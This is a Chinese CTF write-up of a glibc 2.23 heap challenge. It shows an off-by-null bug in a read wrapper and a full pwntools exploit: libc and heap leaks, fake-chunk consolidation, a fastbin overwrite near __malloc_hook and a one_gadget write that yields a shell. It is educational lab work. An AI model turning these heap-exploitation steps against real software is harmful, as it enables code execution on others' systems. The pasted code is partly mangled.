web选手入门pwn(15) ——off by null

夕阳下的舞者(off by null)

https://www.polarctf.com/#/page/challenges
困难题,2.23,保护全开。先看add()

web选手入门pwn(15) ——off by null

sub_B34()中限制了8个chunk。先创建0x20的chunk作为struct(结构体),然后输入size存储在v2并malloc(v2),接着malloc(0x80),malloc(0x20),最后向malloc(v2)和malloc(0x20)写值,也就是name和mark。
也就是说v2这个struct构成大概是这样的。

sizemalloc(v2) #namemalloc(0x20) #markmalloc(0x80) #esg

gdb上更直观,add(0x20)的heap如下。

web选手入门pwn(15) ——off by null

其中有个问题就是malloc(0x80) #esg并没有写值,以及sub_B74是封装了个read,实际上是个off by null。

web选手入门pwn(15) ——off by null

read都很熟悉,a2是a1的size,a1[a2]就是a1的边界的下一个字节,*result &= 0xFEu;则是按位与操作,由于0xFE的二进制是1111 1110,所以结果就是清零。
那么这次add(0x18),可以发现PREV_INUSE位被清零了。

web选手入门pwn(15) ——off by null

再看delete()

web选手入门pwn(15) ——off by null

可以发现free一个清一个指针,但唯独chunklist[v1] + 24并没有清空,也就是malloc(0x80) #esg的位置。

web选手入门pwn(15) ——off by null

然后是edit(),没有越界,但这里终于可以向malloc(0x80) #esg写值了。

web选手入门pwn(15) ——off by null

最后是show(),将所有chunk循环打印出来。edit()和show()都校验了标志位(chunk_flag),所以malloc(0x80) #esg不清指针似乎也没什么问题。

web选手入门pwn(15) ——off by null

这题泄露libc很容易。由于add()的时候malloc(0x80) #esg没有写值进去,那么只需要先add()再delete(),esg就会进unsortedbin。然后再add()回来,unsortedbin的fd/bk就自然而然的泄露了。

from pwn import *import binascii

context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./562+5Liq5Yiw","b *0x555555555005ncnc")sh = process("./562+5Liq5Yiw")
def add(size, name="AAAAAAAA", mark="BBBBBBBB"): sh.sendlineafter("EXIT.","1") sh.sendlineafter("size of the chicken.",str(size)) sh.sendlineafter("name of the chicken.",name) sh.sendlineafter("a mark.",mark)
def cook(index, name="CCCCCCCC", esg="DDDDDDDD"): sh.sendlineafter("EXIT.","3") sh.sendlineafter("you cook?",str(index)) sh.sendlineafter("new name.",name) sh.sendlineafter("Cook name.",esg)
def show(): sh.sendlineafter("EXIT.","4") ret_str = sh.recvuntil("Welcome") print(ret_str) return ret_str
def delete(index): sh.sendlineafter("EXIT.","2") sh.sendlineafter("you kill?",str(index))
add(0x20) #c0delete(0)add(0x20) #c0main_arena_N_addr = u64(show()[63:69]+"x00x00")print(hex(main_arena_N_addr))
sh.interactive()

web选手入门pwn(15) ——off by null

泄露heap段呢?也很简单,弄个双向链表,可以看到fd指向libc,bk指向heap。

add(0x20) #c1add(0x20) #c2delete(1)delete(2)show()

web选手入门pwn(15) ——off by null

重新add回来的话,esg块就残存heap。

web选手入门pwn(15) ——off by null

但直接打印的话,会先打印fd,因为fd前面有x00而中断,所以需要用edit将fd填充掉,这样就没有x00打印出bk了。
add(0x20) #c1
add(0x20) #c2
delete(1)
delete(2)
add(0x20) #c1
cook(1, “EEEE”, “F”*7)
heap = u64(show()[168:174]+”x00x00″)
print(hex(heap))

web选手入门pwn(15) ——off by null

为了节省chunk数量(并没有什么卵用),可以将泄露libc和泄露heap合并在一起。

add(0x20) #c0add(0x20) #c1delete(0)delete(1)add(0x20) #c0main_arena_N_addr = u64(show()[63:69]+"x00x00")print(hex(main_arena_N_addr))libc_base_addr = main_arena_N_addr - libc_main_arena_Nmalloc_hook_addr = libc_base_addr + libc_malloc_hookcook(0, "EEEE", "F"*7)heap = u64(show()[71:77]+"x00x00")print(hex(heap))

这题只能修改PREV_INUSE,PREV_INUSE是判断free之后是否合并的标志位。通常off by null需要控制三块连续的chunk,然后通过修改一个字节来触发堆块合并。可参考
https://www.anquanke.com/post/id/208407

那么先不获取libc/heap,先看一下如何触发堆块合并。

add(0x60) #c0add(0x60) #c1

web选手入门pwn(15) ——off by null

delete(1)add(0x68)

web选手入门pwn(15) ——off by null

因为0x90的PREV_INUSE位被off by null了,所以认为上方的0x70是free的,此时还可以用0x68去伪造PREV_SIZE(也就是图中的prev项),它在哪儿呢?可以参考0x55555575a2b0。

web选手入门pwn(15) ——off by null

因此改一下add,不输入换行。

def add(size, name="AAAAAAAA", mark="BBBBBBBB"):    sh.sendlineafter("EXIT.","1")    sh.sendlineafter("size of the chicken.",str(size))    sh.sendafter("name of the chicken.",name)    sh.sendlineafter("a mark.",mark)……add(0x60) #c0add(0x60) #c1delete(1)show()add(0x68,"A"*0x60+p64(0x300)) #c1

web选手入门pwn(15) ——off by null

此时如果free触发合并流程是这样的。
1,size不属于largebin/fastbin,tcachebin被填满(2.27),所以进入unsortedbin。
2,检测到PREV_INUSE为0,意味着前面有free的chunk,尝试合并。
3,检测到PREV_SIZE为0x300,检测-0x300的位置是否为已经free的chunk。
4,找到-0x300的chunk,它的PREV_INUSE不为0,意味着前面没有其他free的chunk了。
5,检测-0x300的chunk的fd/bk指针是否合法。
6,合并0x90+0x300。

所以我们要在0x300这个地方伪造出一个假的chunk,那么显然可以利用c0。当然0x300只是随便估计的一个值,实际多少算一下就好了。我们可以用0x55555575a050(c0的name)来伪造fake chunk,那么就是0x55555575a220-0x55555575a060 = 0x1c0,fd/bk填它自己。

add(0x60,p64(0)+p64(0x1c0)+p64(0x55555575a060)+p64(0x55555575a060)) #c0add(0x60) #c1delete(1)add(0x68,"A"*0x60+p64(0x1c0)) #c1

web选手入门pwn(15) ——off by null

此时如果布局的正常,free c1的esg(0x90)时,就会触发堆块合并。

delete(1)


如果布局没布好,大概会在这个地方报错。

web选手入门pwn(15) ——off by null

成功了我们会得到0x90+0x1c0=0x250大小的unsortedbin,它重叠了6个左右的chunk。

web选手入门pwn(15) ——off by null

其中包含了0x70(c1name)和0x90(c1msg)两个真正free的chunk,所以再add()一个合适大小的chunk,来覆盖掉它们的fd就可以劫持了。这里选择了0x70(c1name),距离是0x55555575a1b0 – 0x55555575a070= 0x140。
劫持的当然是经典的malloc_hook_addr-0x23,用来偏移0x7f这个size。

add(0x60,p64(0)+p64(0x1c0)+p64(0x55555575a060)+p64(0x55555575a060)) #c0add(0x60) #c1delete(1)add(0x68,"A"*0x60+p64(0x1c0)) #c1delete(1)add(0x200,"A"*0x140 + p64(0) + p64(0x71) + p64(0x7ffff7dd1aed) + p64(0xdeadbeef)) #c2

web选手入门pwn(15) ——off by null

非常完美,那么只要再add两次0x60,就能修改到malloc_hook附近。

add(0x60)add(0x60)

web选手入门pwn(15) ——off by null

改写成功,剩下的就是偏移0x13,往malloc_hook写入one_gadget。
那么将整个流程合并起来(注意add被改过),重新计算一下各种偏移量。

from pwn import *import binascii
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./562+5Liq5Yiw","b *0x555555555005ncncnc")sh = process("./562+5Liq5Yiw")
elf = ELF("./562+5Liq5Yiw")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")#libc = ELF("./libc-2.23.so")libc_malloc_hook = libc.sym['__malloc_hook']libc_main_arena_N = libc_malloc_hook + 0x68libc_realloc_hook = libc.sym['__libc_realloc']print(hex(libc_malloc_hook)) #0x3c3b10print(hex(libc_main_arena_N)) #0x3c3b78

def add(size, name="AAAAAAAA", mark="BBBBBBBB"): sh.sendlineafter("EXIT.","1") sh.sendlineafter("size of the chicken.",str(size)) sh.sendafter("name of the chicken.",name) sh.sendlineafter("a mark.",mark)
def cook(index, name="CCCCCCCC", esg="DDDDDDDD"): sh.sendlineafter("EXIT.","3") sh.sendlineafter("you cook?",str(index)) sh.sendlineafter("new name.",name) sh.sendlineafter("Cook name.",esg)
def show(end="Welcome"): sh.sendlineafter("EXIT.","4") ret_str = sh.recvuntil(end) print(ret_str) return ret_str
def delete(index): sh.sendlineafter("EXIT.","2") sh.sendlineafter("you kill?",str(index))

add(0x20) #c0add(0x20) #c1delete(0)delete(1)add(0x20) #c0main_arena_N_addr = u64(show()[62:68]+"x00x00")print(hex(main_arena_N_addr))libc_base_addr = main_arena_N_addr - libc_main_arena_Nmalloc_hook_addr = libc_base_addr + libc_malloc_hookcook(0, "EEEE", "F"*7)heap = u64(show()[70:76]+"x00x00")print(hex(heap)) #0x55555575a1a0
add(0x60,p64(0)+p64(0x210)+p64(heap+0x10)+p64(heap+0x10)) #c1add(0x60) #c2delete(2)add(0x68,"A"*0x60+p64(0x210)) #c2delete(2)

add(0x200,"A"*0x190 + p64(0) + p64(0x71) + p64(0x7ffff7dd1aed) + p64(0xdeadbeef))add(0x60)one = [0x45206, 0x4525a, 0xef9f4, 0xf0897]add(0x60, 'A'*0x13+p64(libc_base_addr + one[2])) add(0x10)#delete(1)sh.interactive()

但最终都会报错退出,使用这篇文章的办法,free错误堆块——malloc_printerr——dl-error.c——malloc成功getshell。
https://www.52pojie.cn/thread-1838574-1-1.html

web选手入门pwn(15) ——off by null


原文始发于微信公众号(珂技知识分享):web选手入门pwn(15) ——off by null

版权声明:admin 发表于 2024年6月24日 下午5:22。
转载请注明:web选手入门pwn(15) ——off by null | CTF导航

相关文章